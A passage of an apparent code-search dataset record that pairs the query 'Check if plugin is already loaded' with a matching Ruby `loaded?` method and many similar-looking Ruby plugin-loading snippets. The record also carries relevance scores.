load_plugin used to do. This includes\r\n # allowing the plugin's init.rb to set configuration options on\r\n # it's instance, which can then be used in it's initialization\r\n load_plugin_without_engine_additions(directory)\r\n\r\n # perform additional loading tasks like mirroring public assets\r\n # and adding app directories to the appropriate load paths\r\n plugin.load\r\n \r\n true\r\n end", "def require_plugin_files; end", "def load_libs; end", "def update_loadpath\n project_directory = File.expand_path( \"../..\", __FILE__ ) # filepath, minus filename and lib directory\n child_directories = find_all_directories( project_directory )\n $LOAD_PATH.unshift( child_diretories )\n $LOAD_PATH.unshift( project_directory )\n $LOAD_PATH.flatten!\nend", "def load_paths=(dirs)\n dirs.each do |dir|\n directory = File.expand_path(dir)\n $LOAD_PATH.unshift(directory) unless $LOAD_PATH.include?(directory)\n Dir[\"#{directory}/*.rb\"].each { |file| require file }\n end\n end", "def activate!\n @include_dirs.each do |dir|\n $LOAD_PATH << dir if File.directory?(dir)\n end\n\n # use Bundler if a Gemfile is present\n bundle! unless @bundle.empty?\n\n return true\n end", "def standard_plugins\n %w[\n greenballs\n simple-theme-plugin\n ]\n end", "def require_plugin_files\n unless site.safe\n plugins_path.each do |plugin_search_path|\n plugin_files = Utils.safe_glob(plugin_search_path, File.join(\"**\", \"*.rb\"))\n Jekyll::External.require_with_graceful_fail(plugin_files)\n end\n end\n end", "def add_plugin_path(path)\n $LOAD_PATH << path\n end", "def plugin_enabled_with_engine_additions?(path)\r\n Engines.load_all_plugins? || plugin_enabled_without_engine_additions?(path)\r\n end", "def activate!\n # Create the configuration object for the plugin.\n Pry.config.send(\"#{gem_name.gsub('-', '_')}=\", OpenStruct.new)\n\n begin\n require gem_name if !active?\n rescue LoadError => e\n warn \"Found plugin #{gem_name}, but could not require '#{gem_name}'\"\n warn e\n end\n\n self.active = true\n self.enabled = true\n end", "def set(plugins); end", "def load_libs\n loadQueue = []\n Pathname.glob './lib/*.rb' do |script|\n require script.to_s\n scriptfolder = Pathname.new(script.to_s.gsub('.rb', ''))\n next if not scriptfolder.directory?\n\n loadQueue += scriptfolder.children(true).find_all {|file| file.to_s[-3..-1] == '.rb'}\n end\n \n # load the children\n loadQueue.each {|file| require file.to_s }\n end", "def reset_gem_specs!\n return unless Gem.loaded_specs.keys.include?('locomotivecms_wagon')\n\n core_gems = %w(did_you_mean).freeze\n\n Gem.loaded_specs.values.each do |spec|\n next if core_gems.include?(spec.name)\n spec.full_require_paths.each do |path|\n $LOAD_PATH.delete(path)\n end\n\n # Without this statement, bundler will raise the infamous \"You have already activated ...\"\n Gem.loaded_specs.delete(spec.name)\n end\nend", "def include_load_paths(load_paths)\n load_paths.each do |load_path|\n expanded_load_path = File.expand_path(load_path)\n\n unless $LOAD_PATH.include? expanded_load_path\n $LOAD_PATH.unshift expanded_load_path\n end\n end\n end", "def add_autoload_paths_to_load_path=(_arg0); end", "def add_autoload_paths_to_load_path=(_arg0); end", "def plugins\n @plugins ||= {\n import: {},\n export: {}\n }\n end", "def copy_plugin_directories\n %w[\n config lib\n ].each { |dir| directory(dir, \"#{extension_name}/#{dir}\") }\n end", "def inject_into_load_path\n \n # Add ALL paths under the engine root to the load path\n %w(app/controllers \n app/helpers \n app/models\n components\n lib).collect { |dir|\n File.join(root, dir)\n }.select { |dir| File.directory?(dir) }.each do |path|\n insert_into_load_path(path) \n end\n end", "def deactivate!\n $LOAD_PATH.reject! { |dir| @include_dirs.include?(dir) }\n return true\n end", "def set(plugins)\n @mutex.synchronize do\n @plugins.clear\n plugins.each do |plugin|\n _add(plugin)\n end\n end\n nil\n end", "def register(*plugins)\n @@plugins += plugins\n end", "def load_plugins\n @plugins.each do |(name, args)|\n logger.info(\"Loading #{name.to_s}\")\n\n if name.instance_method(:initialize).arity != 5 then\n logger.warn( \"Plugins now take 5 parameters (address, port, config, status, logger). \" +\n \"You appear to be using the old style 4 parameter method (port, config, status, logger). \" +\n \"Please update your plugins as the 4 parameter method is deprecated.\" );\n plugin = name.new(port, config, status, logger)\n else\n plugin = name.new(address, port, config, status, logger)\n end\n\n plugin.run(*args)\n end\n end", "def plugins ; @plugins ; end", "def test_plugin_dirs_should_appear_in_reverse_plugin_loading_order\r\n app_paths = %w(app/controllers/ app app/models app/helpers lib)\r\n app_paths.map { |p| File.join(RAILS_ROOT, p)}\r\n plugin_paths = Engines.plugins.reverse.collect { |plugin| plugin.load_paths.reverse }.flatten \r\n \r\n expected_paths = expand_paths(app_paths + plugin_paths) \r\n # only look at those paths that are also present in expected_paths so\r\n # the only difference would be in the order of the paths\r\n actual_paths = @load_path & expected_paths \r\n \r\n assert_equal expected_paths, actual_paths\r\n end", "def plugins\n @plugins ||= Plugins.new\n end", "def initialize_plugins options={}, defaults: {}\n @plugins.each do |plugin_name, klass|\n next if not klass.plugin_settings(:skip_auto_initialization).nil? and klass.plugin_settings(:skip_auto_initialization)\n next if not klass.plugin_settings(:disabled).nil? and klass.plugin_settings(:disabled)\n\n if options[plugin_name].kind_of? Hash\n begin\n @plugin_instances[plugin_name] = klass.new(defaults.merge(options[plugin_name]))\n rescue ArgumentError => exc\n @log and @log.debug exc.message\n end\n else\n begin\n @plugin_instances[plugin_name] = klass.new(defaults)\n rescue ArgumentError => exc\n @log and @log.debug exc.message\n end\n end\n end\n end" ]
[ "0.7820285", "0.76491386", "0.74310327", "0.7254151", "0.70070267", "0.6894411", "0.68405294", "0.6815507", "0.68147653", "0.6794474", "0.6785123", "0.6782352", "0.6743389", "0.67027247", "0.6670235", "0.6657703", "0.66402704", "0.6599149", "0.6587906", "0.65846115", "0.6547363", "0.65416396", "0.6530538", "0.6507569", "0.6441315", "0.643271", "0.6417164", "0.6396213", "0.6358395", "0.63516074", "0.6318288", "0.63132834", "0.6308755", "0.626452", "0.6255213", "0.6188284", "0.6187765", "0.61677116", "0.6149457", "0.6138545", "0.61339796", "0.61115617", "0.6103878", "0.6085911", "0.60720897", "0.6052252", "0.6027473", "0.60164994", "0.6006341", "0.59766036", "0.5970073", "0.5968627", "0.5960816", "0.59582585", "0.59436446", "0.59436446", "0.58975357", "0.5893619", "0.5893461", "0.58747953", "0.587262", "0.5856441", "0.5817877", "0.58025765", "0.57837594", "0.5783517", "0.5783517", "0.5783517", "0.5783517", "0.57720196", "0.57529044", "0.5746329", "0.5742389", "0.57325816", "0.5723221", "0.5712263", "0.56949013", "0.56875116", "0.567761", "0.5671872", "0.5658976", "0.5649368", "0.5631458", "0.5602494", "0.5590143", "0.5558625", "0.5541058", "0.55397063", "0.55397063", "0.55365133", "0.5533622", "0.5532186", "0.55291617", "0.5527116", "0.5523096", "0.5520371", "0.55200624", "0.5513788", "0.55090976", "0.54985434" ]
0.7455547
2
Return a list of all plugin names as strings
def names plugins.reduce({}) do |hash, plugin| hash[plugin.name] = plugin hash end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def plugin_names\n @plugin_names ||= []\n end", "def registered_plugin_names\r\n configuration.plugins ? configuration.plugins.map(&:to_s) : nil\r\n end", "def find_all_plugin_names(*pattern)\n find_all_plugin_specs(*pattern).map do |spec|\n spec.plugin_name\n end\n end", "def translate_plugin_names; end", "def get_plugins_names(iCategoryName)\n return @Plugins.get_plugins_names(iCategoryName)\n end", "def available_plugins\n @plugins.keys\n end", "def all_plugin_specs\n @plugin_specs.values\n end", "def plugin_names(type: :export, separator: '|')\n type = valid_type(type)\n available_plugins(type: type).join(separator)\n end", "def plugins\n @plugin_list\n end", "def all_name_strings\n names.collect { |a| a.name }\n end", "def list_names\n @lib.list_names\n end", "def all_plugins; end", "def list\n _evaluate_guardfile\n names = ::Guard::PluginUtil.plugin_names.sort.uniq\n final_rows = names.inject([]) do |rows, name|\n used = ::Guard.plugins(name).any?\n rows << {\n Plugin: name.capitalize,\n Guardfile: used ? \"✔\" : \"✘\"\n }\n end\n\n Formatador.display_compact_table(final_rows, [:Plugin, :Guardfile])\n end", "def plugins\n\n\t\tif @plugins.length == 0\n\t\t\treturn []\n\t\tend\n\n\t\treturn @plugins\n\tend", "def names()\n\t\tnames = []\n\t\tnames.push \"help\"\n\t\treturn names\n\tend", "def plugins\n @plugins\n end", "def names\n map(&:names).flatten\n end", "def list\n logger.info \"Retrieving Vagrant plugin list for #{description}\"\n output = instance.execute!(:plugin, \"list\").stdout\n Derelict::Parser::PluginList.new(output).plugins\n end", "def get_plugins()\n return plugins\nend", "def available_plugins\n PluginList.availables(@client)\n end", "def all_names\n @__names__\n end", "def list_plugins(options = {})\n separator = options[:column] ? \"\\n\" : \"\\t\"\n type = options[:type].nil? || options[:type] =~ /all/i ? 'all' : valid_type(options[:type])\n\n case type\n when :import\n puts plugin_names(type: :import, separator: separator)\n when :export\n puts plugin_names(type: :export, separator: separator)\n else\n print 'Import plugins: '\n puts plugin_names(type: :import, separator: ', ')\n print 'Export plugins: '\n puts plugin_names(type: :export, separator: ', ')\n end\n end", "def plugins\n return call('Bugzilla.plugins')\n end", "def names\n all.map { |item| item.name_sym }\n end", "def all_package_names\n each_autobuild_package.map(&:name)\n end", "def all_names; end", "def all_names; end", "def list_known_names\n end", "def extension_strings\n\t\treturn nil if @extensions.empty?\n\t\treturn @extensions.compact.join('; ')\n\tend", "def all_plugins\r\n @all_plugins ||= locate_plugins\r\n @all_plugins\r\n end", "def files\n modules = (changed?) ? tag_configuration_plugins.collect {|p| p.plugin.modules} : \n plugins.collect {|p| p.modules}\n modules << Plugin::JshubCore.instance.modules\n modules.flatten!\n modules.sort!\n modules.uniq.collect { |m| m.name }\n end", "def installed_plugins\n PluginList.installed(@client)\n end", "def as_names\n __getobj__.map { |i| i.name }\n end", "def plugins\n @plugins ||= []\n end", "def names\n map(&:name)\n end", "def exporter_names\n exporters.map{|e| e.const_name }\n end", "def names\n map(&:name)\n end", "def plugins\n raw_data['plugins']\n end", "def names\n collect { |a| a.name }\n end", "def module_names\n @cache[:modules]\n end", "def get_names\r\n\t\tsettings = []\r\n\t\t@settings.each { |key, value|\r\n\t\t\tsettings.push(key)\r\n\t\t}\r\n\t\treturn settings\r\n\tend", "def show_plugins\n used = @conf[\"#{SP_PREFIX}.selected\"].split(/\\n/).collect{ |p| File.basename(p) }.sort\n used.empty? ? \"\" : \"<ul>\\n\" + sp_li_plugins(used, false, true) + \"</ul>\\n\"\nend", "def get_addons\n res = product_options.map { |po| po.name }.join(', ')\n unless res.blank?\n res = \"(#{res})\"\n end\n res\n end", "def plugin_name\n name.split('::').last.underscore.to_sym\n end", "def standard_plugins\n %w[\n greenballs\n simple-theme-plugin\n ]\n end", "def names\n platforms.map { |m| m.realname }\n end", "def show_plugins\n used = @conf[\"#{SP_PREFIX}.selected\"].split( /\\n/ ).collect{ |p| File.basename( p ) }.sort\n used.empty? ? '' : \"<ul>\\n\" + sp_li_plugins( used, false, true ) + \"</ul>\\n\"\nend", "def list\n # collect metadata\n data = PluginUtil.plugin_names.sort.each_with_object({}) do |name, hash|\n hash[name.capitalize] = guardfile_result.plugin_names.include?(name.to_sym)\n end\n\n # presentation\n header = %i(Plugin Guardfile)\n final_rows = []\n data.each do |name, used|\n final_rows << { Plugin: name, Guardfile: used ? \"✔\" : \"✘\" }\n end\n\n # render\n Formatador.display_compact_table(final_rows, header)\n end", "def list\n @@extensions\n end", "def plugins\n load_plugins\n pm = plugin_module\n names = pm.constants.map { |s| s.to_s }\n names.reject! { |n| n =~ %r/^[A-Z_]+$/ }\n\n h = {}\n names.each do |name|\n sym = ::LittlePlugger.underscore(name).to_sym\n next unless plugin_names.empty? or plugin_names.include? sym\n next if disregard_plugins.include? sym\n h[sym] = pm.const_get name\n end\n h\n end", "def get_gem_names\n fetcher = Gem::SpecFetcher.fetcher\n\n list, = fetcher.available_specs(:complete)\n\n tuples = list.values.first\n\n tuples.map do |tuple,|\n tuple = tuple.to_a\n case tuple.last\n when Gem::Platform::RUBY then\n tuple[0, 2]\n else\n tuple\n end.join '-'\n end\n end", "def tool_names\n tools.map{|e| e.const_name }\n end", "def plugins\n return @plugins if @plugins\n\n response = get('plugins')\n @plugins = JSON.parse(response.body, symbolize_names: true)[:plugins]\n end", "def installed_plugins\n @data[\"installed\"]\n end", "def plugins_list\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('plugins/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tplugins=Array.new\n\t\t\tdocxml.root.elements['contents'].elements['pluginFamilyList'].each_element('//family') { |plugin|\n\t\t\t\tentry=Hash.new\n\t\t\t\tentry['name']=plugin.elements['familyName'].text\n\t\t\t\tentry['num']=plugin.elements['numFamilyMembers'].text\n\t\t\t\tplugins.push(entry)\n\t\t\t}\n\t\t\treturn plugins\n\t\tend", "def plugin_templates(type: :export)\n type = valid_type(type)\n templates = []\n plugs = plugins[type].clone\n plugs.delete_if { |_t, o| o[:templates].nil? }.each do |_, options|\n options[:templates].each do |t|\n out = t[:name]\n out += \" (#{t[:format]})\" if t.key?(:format)\n templates << out\n end\n end\n\n templates.sort.uniq\n end", "def service_plugins\n self.plugins.select {|p| p[\"type\"] != \"core\" }.flatten\n end", "def available_plugins(type: :export)\n type = valid_type(type)\n plugins[type].keys.sort\n end", "def names()\n names = []\n names.push \"q-\"\n return names\n end", "def all_extensions\n r = []\n manager.Get.each do |ext|\n r << ext\n end\n r\n end", "def localized_names\n @localized_names ||= []\n end", "def names\n $LEDGER.keys\n end", "def instruments_names\n instruments_s = \"\"\n\n instruments.each do |instrument|\n instruments_s += instrument.name + \", \"\n end\n\n return instruments_s.first(instruments_s.length-2)\n end", "def get_champion_names\n Static.get_champion_list.keys\n end", "def item_names\n @registry.keys\n end", "def names_list\n backend.queue_names\n end", "def plugin_name\n instance[:name]\n end", "def plugin_name(path)\r\n File.basename(path)\r\n end", "def plugin_name\n @@name || self.class.name\n end", "def all_tags\n\t\ttags.map(&:name).join(\", \")\n\tend", "def generate_plugin_listing\n html = generate_header('Plugins')\n\n html << '<section><h1>Plugins</h1>'\n html << '<table class=\"propTable\">'\n @server.plugins.each do |_, plugin|\n info = plugin.plugin_info\n html << \"<tr><th>#{info['name']}</th>\"\n html << \"<td>#{info['description']}</td>\"\n html << '<td>'\n if info.key?('link') && !info['link'].blank?\n html << \"<a href=\\\"#{escape_html(info['link'])}\\\"><span class=\\\"oi\\\" data-glyph=\\\"book\\\"></span></a>\"\n end\n html << '</td></tr>'\n end\n html << '</table>'\n html << '</section>'\n\n html << generate_footer\n\n html\n end", "def names\n fs = []\n %w( DEFAULT CPU GPU ACCELERATOR CUSTOM ALL ).each { |f|\n fs.push(f) if self.include?( self.class.const_get(f) )\n }\n return fs\n end", "def list_names\n names = $LOAD_MANAGER.keys.sort\n if names.empty?\n puts \"No libraries found.\"\n else\n max = names.map{ |name| name.size }.max + 4\n rows = ((names.size + 4) / 4).to_i\n cols = []\n names.each_with_index do |name, i|\n c = i % rows\n cols[c] ||= []\n cols[c] << name\n end\n out = \"\"\n cols.each do |row|\n row.each do |name|\n out << (\"%-#{max}s\" % [name])\n end\n out << \"\\n\"\n end\n puts out\n end\n end", "def lsplug( plugins )\n print_line\n print_line\n print_info 'Available plugins:'\n print_line\n\n plugins.each do |info|\n print_status \"#{info[:plug_name]}:\"\n print_line '--------------------'\n\n print_line \"Name:\\t\\t#{info[:name]}\"\n print_line \"Description:\\t#{info[:description]}\"\n\n if info[:options] && !info[:options].empty?\n print_line \"Options:\\t\"\n\n info[:options].each do |option|\n option = option.is_a?( Hash ) ? option : option.to_h\n\n print_info \"\\t#{option['name']} - #{option['desc']}\"\n print_info \"\\tType: #{option['type']}\"\n print_info \"\\tDefault: #{option['default']}\"\n print_info \"\\tRequired?: #{option['required']}\"\n\n print_line\n end\n end\n\n print_line \"Author:\\t\\t#{info[:author].join( ', ' )}\"\n print_line \"Version:\\t#{info[:version]}\"\n print_line \"Path:\\t#{info[:path]}\"\n\n print_line\n end\n end", "def plugins\n matches_for_glob(\"rubygems#{Gem.plugin_suffix_pattern}\")\n end", "def plugins ; @plugins ; end", "def names\n $LOAD_MANAGER.keys\n end", "def names\n planet_names = []\n @planets.each do |planet|\n planet_names << planet.name\n end\n return planet_names\n end", "def importer_names\n importers.map{|e| e.const_name }\n end", "def list(options)\n evaluate_guardfile(options)\n\n rows = ::Guard.guard_gem_names.sort.uniq.inject([]) do |rows, name|\n rows << [name.capitalize, ::Guard.guards(name) ? '✔' : '✘']\n end\n\n Terminal::Table.new(:title => 'Available Guard plugins', :headings => ['Plugin', 'In Guardfile'], :rows => rows)\n end", "def get_general_plugins\n PluginManager.get_plugins_by('items', 'all')\n end", "def javascripts_from_plugins\n Dir.glob(\"vendor/plugins/*/assets/javascripts/*.js\").select{|s| !s.include? \"vendor/plugins/alchemy\"}.inject(\"\") do |acc, s|\n filename = File.basename(s)\n plugin = s.split(\"/\")[2]\n acc << javascript_include_tag(filename, :plugin => plugin)\n end\n end", "def get_names\n @names\n end", "def plugins\n non_suite_dirs = %w{data data_bags environments nodes roles}\n Util.list_directory(File.join(config[:test_base_path], config[:suite_name])).reject do |d|\n !File.directory?(d) || non_suite_dirs.include?(File.basename(d))\n end.map { |d| \"busser-#{File.basename(d)}\" }.sort.uniq\n end", "def names; end", "def names; end", "def names; end", "def names; end", "def names; end", "def names; end", "def names; end", "def extensions\r\n e = []\r\n @extensions.each_key do |k|\r\n e.push k\r\n end\r\n return e\r\n end", "def names\n Array(@name)\n end", "def names\n fs = []\n %w( HOST CONTENT_UNDEFINED ).each { |f|\n fs.push(f) if self.include?( self.class.const_get(f) )\n }\n return fs\n end", "def names\n fs = []\n %w( NONE CONST RESTRICT VOLATILE PIPE ).each { |f|\n fs.push(f) if self.include?( self.class.const_get(f) )\n }\n return fs\n end", "def sorted_plugins\n @sorted_plugins ||= plugins.sort do |a, b|\n Setting.module_list.index(a.name) <=> Setting.module_list.index(b.name)\n end\n end", "def service_names\n @services.keys\n end", "def std_player_names\n\t\tnames = []\n\t\tfor i in 1..Constants::MAX_PLAYERS\n\t\t\tnames << \"Player\" + i.to_s\n\t\tend\n\t\tnames\n\tend", "def plugin_name\n self.class.to_s\n end", "def script_list\n Dir['script/*'].map{|f| File.basename(f, '.*')}\nend" ]
[ "0.8035311", "0.7955958", "0.734698", "0.70959586", "0.70475185", "0.70257276", "0.69222426", "0.680727", "0.6747513", "0.66487414", "0.6607537", "0.6499434", "0.64321476", "0.64296806", "0.6425936", "0.63353133", "0.63311315", "0.63207763", "0.63129514", "0.63000154", "0.6298388", "0.6277235", "0.6230484", "0.6226214", "0.62165445", "0.6210302", "0.6210302", "0.6187677", "0.61815476", "0.61799145", "0.6175683", "0.6161243", "0.61194956", "0.6106722", "0.60758007", "0.6046581", "0.6046197", "0.6040826", "0.60401654", "0.60334206", "0.6030933", "0.600759", "0.599143", "0.5977297", "0.5969816", "0.59670776", "0.5961068", "0.59502584", "0.59241587", "0.59227014", "0.59203833", "0.59200567", "0.58983237", "0.58948827", "0.5888728", "0.5887993", "0.5886641", "0.5885156", "0.5857664", "0.5855136", "0.58540446", "0.5841463", "0.5830146", "0.5823041", "0.58074266", "0.5792903", "0.5787219", "0.57870895", "0.57809114", "0.5775536", "0.5761672", "0.5753187", "0.57505155", "0.5749665", "0.57468873", "0.57465166", "0.57454616", "0.57360494", "0.57294476", "0.5726291", "0.5712295", "0.5708746", "0.5708298", "0.5685461", "0.56840616", "0.56840616", "0.56840616", "0.56840616", "0.56840616", "0.56840616", "0.56840616", "0.5677522", "0.5672507", "0.5667665", "0.5666164", "0.5647509", "0.5644718", "0.5641652", "0.5632951", "0.5628806" ]
0.7536673
2
Check if plugin is already loaded
def loaded?(name) plugins.any? { |plugin| plugin.name == name } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_plugin?(name)\n true\n end", "def plugin_loaded(name)\n\n\t\tif @plugins.length == 0\n\t\t\treturn false\n\t\tend\n\n\t\t@plugins.each do |a|\n\t\t\tif a.name == name\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\n\t\treturn false\n\tend", "def reload_plugins?\n !!@reload_plugins\n end", "def plugin? name\n self.class.plugins.include? name\n end", "def exists?(name)\n\t\t@plugins.has_key?(name)\n\tend", "def plugin_installed?(name)\n raise \"Not Implemented\"\n end", "def plugin_enabled_with_engine_additions?(path)\r\n Engines.load_all_plugins? || plugin_enabled_without_engine_additions?(path)\r\n end", "def load(path)\n path = path.sub(%r{/main$}, '')\n files = [File.join(@dir, path, 'main.rb'), File.join(@dir, \"#{path}.rb\")].select {|file| File.file?(file) }\n if files.size == 2\n Olelo.logger.error \"Duplicate plugin #{files.join(', ')}\"\n return false\n end\n return false if files.empty?\n\n if @loaded.include?(path)\n true\n elsif @failed.include?(path) || !enabled?(path)\n false\n else\n begin\n new(path, files.first)\n true\n rescue Exception => ex\n @failed << path\n if LoadError === ex\n Olelo.logger.warn \"Plugin #{path} could not be loaded due to: #{ex.message} (Missing gem?)\"\n else\n Olelo.logger.error \"Plugin #{path} could not be loaded due to: #{ex.message}\"\n Olelo.logger.debug ex\n end\n @loaded.delete(path)\n false\n\t end\n end\n end", "def plugin_allowed?(plugin_name); end", "def loaded_correctly?\n !!@module\n end", "def loaded_correctly?\n !!@module\n end", "def plugin?(ref)\n\t\t\t\t\t\n\t\t\t\tend", "def load_plugins; end", "def load_plugin(name); end", "def loaded?\n true\n end", "def system_load_ok?\n true\n end", "def _reload_libs?\n defined? RELOAD_LIBS\n end", "def _reload_libs?\n defined? RELOAD_LIBS\n end", "def may_destroy?\n return plugins.length == 1;\n end", "def is_auto_loading_running\n # stub method\n puts 'call is_auto_loading_running'\n end", "def loaded?\n @loaded ||= false\n end", "def already_init?\n terraform = \"#{@mod.cache_dir}/.terraform\"\n provider = Dir.glob(\"#{terraform}/**{,/*/**}/*\").find do |path|\n path.include?(\"terraform-provider-\")\n end\n !!provider\n end", "def load!\n begin\n require gem_name unless enabled?\n rescue LoadError => error\n raise Vedeu::Error::Fatal,\n \"Unable to load plugin #{gem_name} due to #{error}.\"\n rescue => error\n raise Vedeu::Error::Fatal,\n \"require '#{gem_name}' failed with #{error}.\"\n end\n\n @enabled = true\n end", "def loaded?(gem_name)\n @gems.has_key? gem_name\n end", "def is_plugin(name)\n if Vagrant.has_plugin?(name)\n puts \"using #{name}\"\n else\n puts \"please run vagrant plugin install #{name}\"\n exit(1)\n end\nend", "def is_loaded\n\t\tend", "def loaded?\n !!@loaded\n end", "def loaded?\n !!@loaded\n end", "def module_loaded? mod\n Bot::Modules.include? mod\n end", "def _pluginless_guardfile?\n # no Reevaluator means there was no Guardfile configured that could be\n # reevaluated, so we don't have a pluginless guardfile, because we don't\n # have a Guardfile to begin with...\n #\n # But, if we have a Guardfile, we'll at least have the built-in\n # Reevaluator, so the following will work:\n\n plugins = state.session.plugins.all\n plugins.empty? || plugins.map(&:name) == [\"reevaluator\"]\n end", "def loaded?\n !!@loaded\n end", "def autoload?\n !!@autoload\n end", "def autoload?(p0) end", "def autoload?(p0) end", "def extension_loaded?\n !!extension_loaded\n end", "def extension_loaded?\n !!extension_loaded\n end", "def loaded?\n @loaded ||= false\n end", "def loaded?( gem_name )\n \n gem_require_name = gem_name.to_s.gsub( '/', '-' )\n \n return @loaded_gems.has_key?( gem_require_name.to_sym )\n \n end", "def installed?\n File.exist?(\"/etc/munin/plugins/#{name}\")\n end", "def loaded?\n !!@loaded\n end", "def activate\n plugins.each do |plugin|\n plugin.load! unless plugin.enabled?\n end\n end", "def loaded?\n !!self.loaded\n end", "def loaded?\n @loaded\n end", "def loaded?\n @loaded\n end", "def loaded?\n @loaded\n end", "def loaded?\n @loaded\n end", "def loaded?\n @loaded\n end", "def loaded?\n @loaded\n end", "def installed?(plugin_name, version = nil)\n fetch(plugin_name).version == version or version.nil?\n rescue Plugin::NotFound\n false\n end", "def registering_extension?\n !register_path.nil?\n end", "def ensure_all_registered_plugins_are_loaded!\n begin\n super\n rescue LoadError => load_error\n raise LoadError, load_error.to_s unless load_error.to_s =~ /friendly_id|aasm|will_paginate/\n end\n end", "def load_plugins\n @plugins.each do |plugin|\n plugin.activate! if plugin.enabled?\n end\n end", "def loaded?\n not @hash.nil?\n end", "def loaded?\n not @hash.nil?\n end", "def loaded?(feature)\n $LOADED_FEATURES.include? feature\n end", "def autoload?\n\n return true unless defined? @autoload\n return @autoload \n\n end", "def load_plugins\n return if @plugins_loaded\n Bgo::Application::PluginManager.init\n Bgo::Application::PluginManager.startup(self)\n @plugins_loaded = true\n end", "def load_autoload_plugins; end", "def load_gem_plugins; end", "def instance_loading?(type)\n defined?(@autoloaders) and @autoloaders.include?(type.intern)\n end", "def jquery_already_included\n @jquery_already_included.strip.downcase.first == 'y'\n end", "def module_loaded?\n /^#{new_resource.modname}/.match?(::File.read(\"/proc/modules\"))\n end", "def plugin_enabled?(plugin_name)\n !!@config['plugins'][plugin_name]\n end", "def registered?(ext); end", "def registered?(ext); end", "def integrated\n File.exist?(gemfile)\n end", "def loaded?\n return @loaded\n end", "def exist?\n ruby_gems_fetcher.started?\n end", "def in_plugin_path?(path)\n # get the directory where we plan to stick the plugin (not the actual file path)\n desired_dir = ::File.directory?(path) ? path : ::File.dirname(path)\n\n case node['platform']\n when 'windows'\n ::Ohai::Config.ohai['plugin_path'].map(&:downcase).include?(desired_dir.downcase)\n else\n ::Ohai::Config.ohai['plugin_path'].include?(desired_dir)\n end\n end", "def load_plugins\n @loaded ||= {}\n found = {}\n\n Gem.find_files(File.join(plugin_path, '*.rb')).sort!.reverse_each do |path|\n name = File.basename(path, '.rb').to_sym\n found[name] = path unless found.key? name\n end\n\n :keep_on_truckin while found.map { |name, path|\n next unless plugin_names.empty? or plugin_names.include? name\n next if disregard_plugins.include? name\n next if @loaded[name]\n begin\n @loaded[name] = load path\n rescue ScriptError, StandardError => err\n warn \"Error loading #{path.inspect}: #{err.message}. skipping...\"\n end\n }.any?\n end", "def loaded?\n @loaded\n end", "def loaded?\n @loaded\n end", "def plugin_check(plugin_name)\n unless Vagrant.has_plugin?(plugin_name)\n raise \"#{plugin_name} is not installed, please run: vagrant plugin \" \\\n \"install #{plugin_name}\"\n end\nend", "def loaded?\n Thread.current[:padrino_loaded]\n end", "def load_plugin_with_engine_additions(directory)\r\n name = plugin_name(directory)\r\n return false if loaded_plugins.include?(name)\r\n \r\n logger.debug \"loading plugin from #{directory} with engine additions\"\r\n \r\n # add the Plugin object\r\n plugin = Plugin.new(plugin_name(directory), directory)\r\n Rails.plugins << plugin\r\n \r\n # do the other stuff that load_plugin used to do. This includes\r\n # allowing the plugin's init.rb to set configuration options on\r\n # it's instance, which can then be used in it's initialization\r\n load_plugin_without_engine_additions(directory)\r\n\r\n # perform additional loading tasks like mirroring public assets\r\n # and adding app directories to the appropriate load paths\r\n plugin.load\r\n \r\n true\r\n end", "def require_plugin_files; end", "def load_from_classloader?\n !!@resource_prefix\n end", "def library_loaded?(library_name)\n @loaded_libraries[library_name.to_sym]\n end", "def plugin_installed?(name)\n return if Vagrant.has_plugin?(name)\n puts \"Vagrant plugin '#{name}' is NOT installed.\"\n puts 'Please run:'\n puts \"\\tvagrant plugin install #{name}\"\n exit(1)\nend", "def autoload?(arg0)\n end", "def engine_initialized?\n\t\t\t\t\tsuper && sass_functions_initialized?\n\t\t\t\tend", "def load_commands?\n @module\n end", "def loaded?(resource)\n resource.instance_variable_defined?(instance_variable_name)\n end", "def env_already_loaded?\n defined? Rails\n end", "def loading?\n !load_stack.empty?\n end", "def complete?\n not @extensions.empty?\n end", "def can_proceed?(plugins, plugin_name)\n plugins = plugins.select do |plugin|\n plugin['name'] == plugin_name\n end\n\n return false if plugins.length != 1\n plugin = plugins[0]\n\n if !TeracyDev::Plugin.installed?(plugin_name)\n @logger.debug(\"#{plugin_name} is not installed\")\n return false\n end\n\n if plugin['enabled'] != true\n @logger.debug(\"#{plugin_name} is installed but not enabled so its settings is ignored\")\n return false\n end\n return true\n end", "def vagrant_plugin_installed(name)\n run_cmd(\"vagrant plugin list\").should match(\"#{name}\")\n end", "def include?(hook)\n @hooks.include?(hook)\n end", "def loaded?(constant)\n return loaded.include?(constant)\n end", "def loaded?(path)\n path = cleanpath(path).chomp('.rb')\n loaded.include?(path)\n end", "def installed?\n File.exists?(@path)\n end", "def complete?\n !@extensions.empty?\n end", "def load #:nodoc:\n @found ||= {}\n @loaded ||= {}\n @files ||= Gem.find_files('cartage/*.rb')\n\n @files.reverse.each do |path|\n name = File.basename(path, '.rb').to_sym\n @found[name] = path\n end\n\n :repeat while @found.map { |name, plugin|\n load_plugin(name, plugin)\n }.any?\n end", "def library_defined?( klass )\n library_handler.defined?(klass)\n end", "def known\n plugin_set.known\n end", "def autoload\n false\n end", "def ensure_plugin(name)\n unless Vagrant.has_plugin?(name)\n system(\"vagrant plugin install #{name}\")\n end\nend", "def is_plugin?\n return true if (Sessions.type(session[:session_id]) == \"Administrator\" and Sessions.is_plugin?(session[:session_id]) == true)\nend", "def installed?\n false\n end" ]
